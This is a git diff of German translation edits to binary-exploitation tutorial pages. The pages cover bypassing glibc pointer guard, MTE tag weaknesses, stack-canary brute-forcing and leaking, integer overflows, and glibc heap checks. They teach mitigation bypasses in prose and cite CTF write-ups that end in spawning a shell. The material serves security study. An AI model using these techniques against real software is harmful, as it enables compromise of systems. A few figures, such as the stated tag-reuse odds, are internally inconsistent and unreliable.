+2. **Wiederherstellung der Zeigerbits**: Da XOR umkehrbar ist, ermöglicht das Wissen um das Ergebnis und einen der Operanden, den anderen Operanden zu berechnen. Diese Eigenschaft wird verwendet, um die gesamte Menge von Bits für **P** abzuleiten, indem nacheinander bekannte Bitmengen mit Teilen des gemanglten Zeigers XORed werden.
3. **Iteratives Demangling**: Der Prozess wird wiederholt, wobei jedes Mal die neu entdeckten Bits von **P** aus dem vorherigen Schritt verwendet werden, um das nächste Segment des gemanglten Zeigers zu dekodieren, bis alle Bits wiederhergestellt sind.
4. **Umgang mit deterministischen Bits**: Die letzten 12 Bits von **L** gehen aufgrund der Verschiebung verloren, sind jedoch deterministisch und können nachträglich rekonstruiert werden.
@@ -64,17 +64,17 @@ Eine Implementierung dieses Algorithmus finden Sie hier: [https://github.com/mdu
## Zeiger-Schutz
-Der Zeiger-Schutz ist eine Technik zur Minderung von Ausnutzungen, die in glibc verwendet wird, um gespeicherte Funktionszeiger zu schützen, insbesondere solche, die durch Bibliotheksaufrufe wie `atexit()` registriert werden. Dieser Schutz beinhaltet das Scrambling der Zeiger durch XORen mit einem geheimen Wert, der in den Thread-Daten (`fs:0x30`) gespeichert ist, und das Anwenden einer bitweisen Rotation. Dieser Mechanismus zielt darauf ab, Angreifern zu verhindern, den Kontrollfluss zu übernehmen, indem sie Funktionszeiger überschreiben.
+Der Zeiger-Schutz ist eine Technik zur Minderung von Exploits, die in glibc verwendet wird, um gespeicherte Funktionszeiger zu schützen, insbesondere solche, die durch Bibliotheksaufrufe wie `atexit()` registriert werden. Dieser Schutz beinhaltet das Scrambling der Zeiger, indem sie mit einem geheimen Wert, der in den Thread-Daten (`fs:0x30`) gespeichert ist, XORed und dann eine bitweise Rotation angewendet wird. Dieser Mechanismus zielt darauf ab, Angreifern zu verhindern, die Kontrolle über den Fluss zu übernehmen, indem sie Funktionszeiger überschreiben.
### **Umgehung des Zeiger-Schutzes mit einem Leak**
-1. **Verständnis der Zeiger-Schutzoperationen:** Das Scrambling (Mangling) der Zeiger erfolgt mit dem `PTR_MANGLE`-Makro, das den Zeiger mit einem 64-Bit-Geheimnis XORed und dann eine linke Rotation von 0x11 Bits durchführt. Die Umkehroperation zur Wiederherstellung des ursprünglichen Zeigers wird von `PTR_DEMANGLE` behandelt.
+1. **Verständnis der Zeiger-Schutzoperationen:** Das Scrambling (Mangling) der Zeiger erfolgt mit dem `PTR_MANGLE`-Makro, das den Zeiger mit einem 64-Bit-Geheimnis XORed und dann eine linke Rotation von 0x11 Bits durchführt. Die Umkehroperation zum Wiederherstellen des ursprünglichen Zeigers wird von `PTR_DEMANGLE` durchgeführt.
2. **Angriffsstrategie:** Der Angriff basiert auf einem bekannten Klartextansatz, bei dem der Angreifer sowohl die ursprüngliche als auch die gemanglte Version eines Zeigers kennen muss, um das Geheimnis zu deduzieren, das für das Mangling verwendet wurde.
3. **Ausnutzung bekannter Klartexte:**
- **Identifizierung fester Funktionszeiger:** Durch die Untersuchung des glibc-Quellcodes oder der initialisierten Funktionszeigertabellen (wie `__libc_pthread_functions`) kann ein Angreifer vorhersehbare Funktionszeiger finden.
- **Berechnung des Geheimnisses:** Mit einem bekannten Funktionszeiger wie `__pthread_attr_destroy` und seiner gemanglten Version aus der Funktionszeigertabelle kann das Geheimnis berechnet werden, indem der gemanglte Zeiger rückwärts rotiert (Rechtsrotation) und dann mit der Adresse der Funktion XORed wird.
-4. **Alternative Klartexte:** Der Angreifer kann auch versuchen, Zeiger mit bekannten Werten wie 0 oder -1 zu mangeln, um zu sehen, ob diese identifizierbare Muster im Speicher erzeugen, die möglicherweise das Geheimnis offenbaren, wenn diese Muster in Speicherauszügen gefunden werden.
-5. **Praktische Anwendung:** Nach der Berechnung des Geheimnisses kann ein Angreifer Zeiger auf kontrollierte Weise manipulieren, wodurch der Zeiger-Schutz in einer multithreaded Anwendung mit Kenntnis der libc-Basisadresse und der Fähigkeit, beliebige Speicherorte zu lesen, umgangen wird.
+4. **Alternative Klartexte:** Der Angreifer kann auch versuchen, Zeiger mit bekannten Werten wie 0 oder -1 zu mangeln, um zu sehen, ob diese identifizierbare Muster im Speicher erzeugen, die möglicherweise das Geheimnis offenbaren, wenn diese Muster in Speicherdumps gefunden werden.
+5. **Praktische Anwendung:** Nachdem das Geheimnis berechnet wurde, kann ein Angreifer Zeiger auf kontrollierte Weise manipulieren, wodurch der Zeiger-Schutz in einer multithreaded Anwendung mit Kenntnis der libc-Basisadresse und der Fähigkeit, beliebige Speicherorte zu lesen, umgangen wird.
## Referenzen
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 9d3d5420d..37afc5b92 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -4,11 +4,11 @@
## Grundinformationen
-**Memory Tagging Extension (MTE)** wurde entwickelt, um die Zuverlässigkeit und Sicherheit von Software zu verbessern, indem **Speicherfehler** wie Pufferüberläufe und Use-after-free-Schwachstellen **erkannt und verhindert** werden. MTE, als Teil der **ARM**-Architektur, bietet einen Mechanismus, um **einen kleinen Tag an jede Speicherzuweisung** anzuhängen und einen **entsprechenden Tag an jeden Zeiger**, der auf diesen Speicher verweist. Dieser Ansatz ermöglicht die Erkennung illegaler Speicherzugriffe zur Laufzeit, wodurch das Risiko, solche Schwachstellen auszunutzen, um beliebigen Code auszuführen, erheblich verringert wird.
+**Memory Tagging Extension (MTE)** wurde entwickelt, um die Zuverlässigkeit und Sicherheit von Software zu verbessern, indem **Speicherfehler** wie Pufferüberläufe und Use-after-Free-Schwachstellen **erkannt und verhindert** werden. MTE, als Teil der **ARM**-Architektur, bietet einen Mechanismus, um **einen kleinen Tag an jede Speicherzuweisung** anzuhängen und einen **entsprechenden Tag an jeden Zeiger**, der auf diesen Speicher verweist. Dieser Ansatz ermöglicht die Erkennung illegaler Speicherzugriffe zur Laufzeit, wodurch das Risiko, solche Schwachstellen auszunutzen, um beliebigen Code auszuführen, erheblich verringert wird.
### **Wie die Memory Tagging Extension funktioniert**
-MTE funktioniert, indem es **Speicher in kleine, feste Blöcke unterteilt, wobei jeder Block einen Tag zugewiesen bekommt,** der typischerweise einige Bits groß ist.
+MTE funktioniert, indem es **Speicher in kleine, feste Blöcke unterteilt, wobei jeder Block einen Tag zugewiesen bekommt,** der typischerweise einige Bits groß ist.
Wenn ein Zeiger erstellt wird, um auf diesen Speicher zu zeigen, erhält er denselben Tag. Dieser Tag wird in den **ungenutzten Bits eines Speicherzeigers** gespeichert, wodurch der Zeiger effektiv mit seinem entsprechenden Speicherblock verknüpft wird.
@@ -46,7 +46,7 @@ Dies ist die langsamste und sicherste Methode.
### Async
-Die CPU überprüft die Tags **asynchron**, und wenn eine Diskrepanz gefunden wird, setzt sie ein Ausnahmebit in einem der Systemregister. Es ist **schneller** als die vorherige Methode, aber es ist **unfähig,** die genaue Anweisung, die die Diskrepanz verursacht hat, anzugeben, und es löst die Ausnahme nicht sofort aus, was dem Angreifer etwas Zeit gibt, seinen Angriff abzuschließen.
+Die CPU überprüft die Tags **asynchron**, und wenn eine Diskrepanz gefunden wird, setzt sie ein Ausnahmebit in einem der Systemregister. Es ist **schneller** als die vorherige Methode, aber es ist **unfähig,** die genaue Anweisung anzugeben, die die Diskrepanz verursacht hat, und es löst die Ausnahme nicht sofort aus, was dem Angreifer etwas Zeit gibt, seinen Angriff abzuschließen.
### Mixed
@@ -59,21 +59,21 @@ Die Kernel-Allocatoren (wie `kmalloc`) werden **dieses Modul aufrufen**, das das
Beachten Sie, dass es **nur genügend Speichergranulate** (jeweils 16B) für die angeforderte Größe markieren wird. Wenn die angeforderte Größe also 35 war und ein Block von 60B gegeben wurde, wird es die ersten 16\*3 = 48B mit diesem Tag markieren und der **Rest** wird mit einem sogenannten **ungültigen Tag (0xE)** **markiert**.
-Das Tag **0xF** ist der **Übereinstimmungszeiger für alle**. Ein Speicher mit diesem Zeiger erlaubt es, **jeden Tag zu verwenden**, um auf seinen Speicher zuzugreifen (keine Diskrepanzen). Dies könnte verhindern, dass MET einen Angriff erkennt, wenn dieses Tag im angegriffenen Speicher verwendet wird.
+Das Tag **0xF** ist der **Übereinstimmungszeiger für alle**. Ein Speicher mit diesem Zeiger erlaubt es, **jedes Tag zu verwenden**, um auf seinen Speicher zuzugreifen (keine Diskrepanzen). Dies könnte verhindern, dass MET einen Angriff erkennt, wenn dieses Tag im angegriffenen Speicher verwendet wird.
-Daher gibt es nur **14 Werte**, die zur Generierung von Tags verwendet werden können, da 0xE und 0xF reserviert sind, was die Wahrscheinlichkeit der **Wiederverwendung von Tags** auf 1/17 -> etwa **7%** erhöht.
+Daher gibt es nur **14 Werte**, die verwendet werden können, um Tags zu generieren, da 0xE und 0xF reserviert sind, was eine Wahrscheinlichkeit von **Tag-Wiederverwendung** von 1/17 -> etwa **7%** ergibt.
-Wenn der Kernel auf das **ungültige Tag-Granulat** zugreift, wird die **Diskrepanz** **erkannt**. Wenn er auf einen anderen Speicherort zugreift, wird die Diskrepanz **erkannt**, wenn der **Speicher ein anderes Tag** (oder das ungültige Tag) hat. Wenn der Angreifer Glück hat und der Speicher dasselbe Tag verwendet, wird es nicht erkannt. Die Chancen liegen bei etwa 7%.
+Wenn der Kernel auf das **ungültige Tag-Granulat** zugreift, wird die **Diskrepanz** **erkannt**. Wenn er auf einen anderen Speicherort zugreift, wird die Diskrepanz erkannt, wenn der **Speicher ein anderes Tag** (oder das ungültige Tag) hat. Wenn der Angreifer Glück hat und der Speicher dasselbe Tag verwendet, wird es nicht erkannt. Die Chancen liegen bei etwa 7%.
Ein weiterer Fehler tritt im **letzten Granulat** des zugewiesenen Speichers auf. Wenn die Anwendung 35B angefordert hat, wurde das Granulat von 32 bis 48 gegeben. Daher verwenden die **Bytes von 36 bis 47 dasselbe Tag**, wurden jedoch nicht angefordert. Wenn der Angreifer **auf diese zusätzlichen Bytes zugreift, wird dies nicht erkannt**.
-Wenn **`kfree()`** ausgeführt wird, wird der Speicher mit dem ungültigen Speichertag neu markiert, sodass bei einem **use-after-free**, wenn der Speicher erneut zugegriffen wird, die **Diskrepanz erkannt wird**.
+Wenn **`kfree()`** ausgeführt wird, wird der Speicher mit dem ungültigen Speichertag neu getaggt, sodass bei einem **use-after-free**, wenn der Speicher erneut zugegriffen wird, die **Diskrepanz erkannt wird**.
-Wenn jedoch bei einem use-after-free derselbe **Block erneut mit demselben Tag** wie zuvor zugewiesen wird, kann ein Angreifer diesen Zugriff nutzen und dies wird nicht erkannt (etwa 7% Chance).
+Wenn jedoch in einem use-after-free der gleiche **Block erneut mit demselben Tag** wie zuvor zugewiesen wird, kann ein Angreifer diesen Zugriff nutzen und dies wird nicht erkannt (etwa 7% Chance).
-Darüber hinaus verwenden nur **`slab` und `page_alloc`** getaggten Speicher, aber in Zukunft wird dies auch in `vmalloc`, `stack` und `globals` verwendet (zum Zeitpunkt des Videos können diese noch missbraucht werden).
+Darüber hinaus verwenden nur **`slab` und `page_alloc`** getaggten Speicher, aber in Zukunft wird dies auch in `vmalloc`, `stack` und `globals` verwendet (zum Zeitpunkt des Videos konnten diese noch ausgenutzt werden).
-Wenn eine **Diskrepanz erkannt wird**, wird der Kernel **panic** auslösen, um weitere Ausbeutungen und Versuche des Exploits zu verhindern (MTE hat keine falsch positiven Ergebnisse).
+Wenn eine **Diskrepanz erkannt wird**, wird der Kernel **panic** machen, um weitere Ausbeutungen und Versuche des Exploits zu verhindern (MTE hat keine falsch positiven Ergebnisse).
## Referenzen
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index cb27b2b1f..d5dee2c30 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -7,14 +7,14 @@
.png>)
> [!NOTE]
-> Beachten Sie, dass **`checksec`** möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und nicht in der Lage ist, die Funktion zu identifizieren.\
+> Beachten Sie, dass **`checksec`** möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und die Funktion nicht identifizieren kann.\
> Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
## Brute Force Canary
-Der beste Weg, einen einfachen Canary zu umgehen, ist, wenn die binäre Datei ein Programm ist, das **bei jeder neuen Verbindung Kindprozesse forked**, weil bei jeder Verbindung **der gleiche Canary verwendet wird**.
+Der beste Weg, einen einfachen Canary zu umgehen, ist, wenn die binäre Datei ein Programm ist, das **bei jeder neuen Verbindung Kindprozesse forked**, da bei jeder Verbindung **der gleiche Canary verwendet wird**.
-Der beste Weg, den Canary zu umgehen, besteht dann darin, ihn einfach **zeichenweise zu brute-forcen**, und Sie können herausfinden, ob das erratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **brute-forced die Funktion einen 8 Bytes Canary (x64)** und unterscheidet zwischen einem korrekt erratenen Byte und einem schlechten Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (eine andere Möglichkeit in **anderen Situationen** könnte die Verwendung von **try/except** sein):
+Der beste Weg, den Canary zu umgehen, besteht darin, ihn einfach **zeichenweise zu brute-forcen**, und Sie können herausfinden, ob das erratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel **brute-forced die Funktion einen 8 Bytes Canary (x64)** und unterscheidet zwischen einem korrekt erratenen Byte und einem schlechten Byte, indem sie einfach **überprüft**, ob eine **Antwort** vom Server zurückgesendet wird (eine andere Möglichkeit in **anderen Situationen** könnte die Verwendung von **try/except** sein):
### Beispiel 1
@@ -103,11 +103,11 @@ log.info(f"The canary is: {canary}")
```
## Threads
-Threads desselben Prozesses werden auch **das gleiche Canary-Token teilen**, daher wird es möglich sein, ein Canary zu **brute-forcen**, wenn die Binärdatei bei jedem Angriff einen neuen Thread erzeugt.
+Threads desselben Prozesses werden auch **das gleiche Canary-Token teilen**, daher wird es möglich sein, ein Canary zu **brute-forcen**, wenn die Binärdatei bei jedem Angriff einen neuen Thread erzeugt.
-Darüber hinaus könnte ein **Buffer Overflow in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um das **Master-Canary, das im TLS gespeichert ist, zu modifizieren**. Das liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und damit das Canary) über einen **Bof im Stack** eines Threads.\
+Darüber hinaus könnte ein **Buffer Overflow in einer threaded Funktion**, die mit einem Canary geschützt ist, verwendet werden, um das **Master-Canary, das im TLS gespeichert ist, zu modifizieren**. Dies liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und damit das Canary) über einen **Bof im Stack** eines Threads.\
Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).\
-Dieser Angriff wird im Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+Dieser Angriff wird in dem Writeup durchgeführt: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Überprüfen Sie auch die Präsentation von [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015), die erwähnt, dass normalerweise das **TLS** durch **`mmap`** gespeichert wird und wenn ein **Stack** eines **Threads** erstellt wird, es ebenfalls durch `mmap` generiert wird, was den Overflow ermöglichen könnte, wie im vorherigen Writeup gezeigt.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 863a1daf8..5d25c84a0 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -4,15 +4,15 @@
## Vergrößern des gedruckten Stacks
-Stellen Sie sich eine Situation vor, in der ein **Programm anfällig** für einen Stack-Überlauf eine **puts**-Funktion **aufrufen kann**, die auf **einen Teil** des **Stack-Überlaufs** zeigt. Der Angreifer weiß, dass das **erste Byte des Canaries ein Null-Byte** (`\x00`) ist und der Rest des Canaries **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erzeugen, der **den Stack bis zum ersten Byte des Canaries überschreibt**.
+Stellen Sie sich eine Situation vor, in der ein **programm verwundbar** für einen Stack-Überlauf eine **puts**-Funktion **zeigt**, die auf **einen Teil** des **Stack-Überlaufs** verweist. Der Angreifer weiß, dass das **erste Byte des Canaries ein Null-Byte** (`\x00`) ist und der Rest des Canaries **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erstellen, der **den Stack bis zum ersten Byte des Canaries überschreibt**.
-Anschließend **ruft der Angreifer die puts-Funktionalität** in der Mitte der Nutzlast auf, die **alle Bytes des Canaries druckt** (außer dem ersten Null-Byte).
+Anschließend **ruft der Angreifer die puts-Funktionalität** in der Mitte der Nutzlast auf, die **alle Canaries druckt** (außer dem ersten Null-Byte).
-Mit diesen Informationen kann der Angreifer **eine neue Attacke erstellen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
+Mit diesen Informationen kann der Angreifer **einen neuen Angriff erstellen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
-Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary** zu **exfiltrieren** und dann eine neue Nutzlast (in der **gleichen Programmsitzung**) zu erstellen und den **echten Buffer-Overflow** zu **senden**.
+Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary** zu **exfiltrieren** und dann in der Lage zu sein, eine neue Nutzlast (in der **gleichen Programmsitzung**) zu erstellen und den **echten Buffer-Overflow** zu **senden**.
-**CTF-Beispiele:**
+**CTF-Beispiele:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt besteht darin, einen Überlauf bis zum Byte 0x00 des Canaries zu füllen, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus dem GOT zu leaken, und ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 9d7347651..c62d14f66 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -6,9 +6,9 @@
Im Kern eines **Integer Overflow** steht die Einschränkung, die durch die **Größe** der Datentypen in der Computerprogrammierung und die **Interpretation** der Daten auferlegt wird.
-Zum Beispiel kann ein **8-Bit unsigned integer** Werte von **0 bis 255** darstellen. Wenn Sie versuchen, den Wert 256 in einem 8-Bit unsigned integer zu speichern, wird er aufgrund der Begrenzung seiner Speicherkapazität auf 0 zurückgesetzt. Ähnlich verhält es sich bei einem **16-Bit unsigned integer**, der Werte von **0 bis 65.535** halten kann; das Hinzufügen von 1 zu 65.535 wird den Wert wieder auf 0 zurücksetzen.
+Zum Beispiel kann ein **8-Bit unsigned Integer** Werte von **0 bis 255** darstellen. Wenn Sie versuchen, den Wert 256 in einem 8-Bit unsigned Integer zu speichern, wird er aufgrund der Begrenzung seiner Speicherkapazität auf 0 zurückgesetzt. Ähnlich verhält es sich bei einem **16-Bit unsigned Integer**, der Werte von **0 bis 65.535** halten kann; das Hinzufügen von 1 zu 65.535 setzt den Wert wieder auf 0 zurück.
-Darüber hinaus kann ein **8-Bit signed integer** Werte von **-128 bis 127** darstellen. Dies liegt daran, dass ein Bit verwendet wird, um das Vorzeichen (positiv oder negativ) darzustellen, wodurch 7 Bits zur Darstellung der Größe verbleiben. Die negativste Zahl wird als **-128** (binär `10000000`) dargestellt, und die positivste Zahl ist **127** (binär `01111111`).
+Darüber hinaus kann ein **8-Bit signed Integer** Werte von **-128 bis 127** darstellen. Dies liegt daran, dass ein Bit verwendet wird, um das Vorzeichen (positiv oder negativ) darzustellen, wodurch 7 Bits zur Darstellung der Größe verbleiben. Die negativste Zahl wird als **-128** (binär `10000000`) dargestellt, und die positivste Zahl ist **127** (binär `01111111`).
### Maximalwerte
@@ -69,7 +69,7 @@ return 0;
```
### Signed to Unsigned Conversion
-Betrachten Sie eine Situation, in der eine signierte Ganzzahl aus der Benutzereingabe gelesen und dann in einem Kontext verwendet wird, der sie als unsignierte Ganzzahl behandelt, ohne ordnungsgemäße Validierung:
+Betrachten Sie eine Situation, in der eine vorzeichenbehaftete Ganzzahl aus der Benutzereingabe gelesen und dann in einem Kontext verwendet wird, der sie als vorzeichenlose Ganzzahl behandelt, ohne angemessene Validierung:
```c
#include
@@ -96,17 +96,17 @@ In diesem Beispiel wird eine negative Zahl als große unsigned Integer interpret
### Weitere Beispiele
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, es zu überlaufen und es glauben zu lassen, dass es eine Länge von 4 hat, während es tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen.
+- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, einen Überlauf zu erzeugen und es glauben zu lassen, dass die Länge 4 beträgt, während sie tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- Gegeben ein paar Zahlen, finde mit z3 eine neue Zahl, die multipliziert mit der ersten die zweite ergibt:
+- Gegeben sind ein paar Zahlen, finde mit z3 eine neue Zahl, die multipliziert mit der ersten die zweite ergibt:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, es zu überlaufen und es glauben zu lassen, dass es eine Länge von 4 hat, während es tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen und die nächste lokale Variable im Stack zu überschreiben und beide Schutzmaßnahmen zu umgehen.
+- Es wird nur 1B verwendet, um die Größe des Passworts zu speichern, sodass es möglich ist, einen Überlauf zu erzeugen und es glauben zu lassen, dass die Länge 4 beträgt, während sie tatsächlich 260 ist, um den Schutz der Längenüberprüfung zu umgehen und die nächste lokale Variable im Stack zu überschreiben und beide Schutzmaßnahmen zu umgehen.
## ARM64
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 4cda95dc7..9d9a54f0b 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -1,4 +1,4 @@
-# Heap-Funktionen Sicherheitsprüfungen
+# Heap Functions Security Checks
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ Für weitere Informationen siehe:
unlink.md
{{#endref}}
-Dies ist eine Zusammenfassung der durchgeführten Prüfungen:
+Dies ist eine Zusammenfassung der durchgeführten Überprüfungen:
- Überprüfen, ob die angegebene Größe des Chunks mit der `prev_size` übereinstimmt, die im nächsten Chunk angegeben ist
- Fehlermeldung: `corrupted size vs. prev_size`
@@ -27,7 +27,7 @@ Für weitere Informationen siehe:
malloc-and-sysmalloc.md
{{#endref}}
-- **Prüfungen während der schnellen Bin-Suche:**
+- **Überprüfungen während der schnellen Bin-Suche:**
- Wenn der Chunk nicht ausgerichtet ist:
- Fehlermeldung: `malloc(): unaligned fastbin chunk detected 2`
- Wenn der vorwärts gerichtete Chunk nicht ausgerichtet ist:
@@ -36,18 +36,18 @@ malloc-and-sysmalloc.md
- Fehlermeldung: `malloc(): memory corruption (fast)`
- Wenn ein Chunk, der verwendet wird, um den tcache zu füllen, nicht ausgerichtet ist:
- Fehlermeldung: `malloc(): unaligned fastbin chunk detected 3`
-- **Prüfungen während der kleinen Bin-Suche:**
+- **Überprüfungen während der kleinen Bin-Suche:**
- Wenn `victim->bk->fd != victim`:
- Fehlermeldung: `malloc(): smallbin double linked list corrupted`
-- **Prüfungen während der Konsolidierung** für jeden schnellen Bin-Chunk:
+- **Überprüfungen während der Konsolidierung** für jeden schnellen Bin-Chunk:
- Wenn der Chunk nicht ausgerichtet ist, auslösen:
- Fehlermeldung: `malloc_consolidate(): unaligned fastbin chunk detected`
- Wenn der Chunk eine andere Größe hat als die, die er haben sollte, aufgrund des Index, in dem er sich befindet:
- Fehlermeldung: `malloc_consolidate(): invalid chunk size`
- Wenn der vorherige Chunk nicht in Gebrauch ist und der vorherige Chunk eine andere Größe hat als die, die von prev_chunk angegeben ist:
- Fehlermeldung: `corrupted size vs. prev_size in fastbins`
-- **Prüfungen während der unsortierten Bin-Suche**:
-- Wenn die Chunk-Größe seltsam ist (zu klein oder zu groß):
+- **Überprüfungen während der unsortierten Bin-Suche**:
+- Wenn die Chunk-Größe seltsam ist (zu klein oder zu groß):
- Fehlermeldung: `malloc(): invalid size (unsorted)`
- Wenn die Größe des nächsten Chunks seltsam ist (zu klein oder zu groß):
- Fehlermeldung: `malloc(): invalid next size (unsorted)`
@@ -62,31 +62,31 @@ malloc-and-sysmalloc.md
- Fehlermeldung: `malloc(): largebin double linked list corrupted (nextsize)`
- Wenn `fwd->bk->fd != fwd`:
- Fehlermeldung: `malloc(): largebin double linked list corrupted (bk)`
-- **Prüfungen während der großen Bin (nach Index) Suche:**
+- **Überprüfungen während der großen Bin (nach Index) Suche:**
- `bck->fd-> bk != bck`:
- Fehlermeldung: `malloc(): corrupted unsorted chunks`
-- **Prüfungen während der großen Bin (nächste größere) Suche:**
+- **Überprüfungen während der großen Bin (nächste größere) Suche:**
- `bck->fd-> bk != bck`:
- Fehlermeldung: `malloc(): corrupted unsorted chunks2`
-- **Prüfungen während der Verwendung des Top-Chunks:**
+- **Überprüfungen während der Verwendung des Top-Chunks:**
- `chunksize(av->top) > av->system_mem`:
- Fehlermeldung: `malloc(): corrupted top size`
## `tcache_get_n`
-- **Prüfungen in `tcache_get_n`:**
+- **Überprüfungen in `tcache_get_n`:**
- Wenn der Chunk nicht ausgerichtet ist:
- Fehlermeldung: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
-- **Prüfungen in `tcache_thread_shutdown`:**
+- **Überprüfungen in `tcache_thread_shutdown`:**
- Wenn der Chunk nicht ausgerichtet ist:
- Fehlermeldung: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
-- **Prüfungen in `__libc_realloc`:**
+- **Überprüfungen in `__libc_realloc`:**
- Wenn der alte Zeiger nicht ausgerichtet ist oder die Größe falsch war:
- Fehlermeldung: `realloc(): invalid pointer`
@@ -98,19 +98,19 @@ Für weitere Informationen siehe:
free.md
{{#endref}}
-- **Prüfungen zu Beginn von `_int_free`:**
+- **Überprüfungen zu Beginn von `_int_free`:**
- Zeiger ist ausgerichtet:
- Fehlermeldung: `free(): invalid pointer`
- Größe größer als `MINSIZE` und Größe ebenfalls ausgerichtet:
- Fehlermeldung: `free(): invalid size`
-- **Prüfungen in `_int_free` tcache:**
+- **Überprüfungen in `_int_free` tcache:**
- Wenn es mehr Einträge als `mp_.tcache_count` gibt:
- Fehlermeldung: `free(): too many chunks detected in tcache`
- Wenn der Eintrag nicht ausgerichtet ist:
- Fehlermeldung: `free(): unaligned chunk detected in tcache 2`
- Wenn der freigegebene Chunk bereits freigegeben wurde und als Chunk im tcache vorhanden ist:
- Fehlermeldung: `free(): double free detected in tcache 2`
-- **Prüfungen in `_int_free` schnelle Bin:**
+- **Überprüfungen in `_int_free` schnelle Bin:**
- Wenn die Größe des Chunks ungültig ist (zu groß oder zu klein), auslösen:
- Fehlermeldung: `free(): invalid next size (fast)`
- Wenn der hinzugefügte Chunk bereits der Top der schnellen Bin war:
@@ -120,12 +120,12 @@ free.md
## **`_int_free_merge_chunk`**
-- **Prüfungen in `_int_free_merge_chunk`:**
+- **Überprüfungen in `_int_free_merge_chunk`:**
- Wenn der Chunk der Top-Chunk ist:
- Fehlermeldung: `double free or corruption (top)`
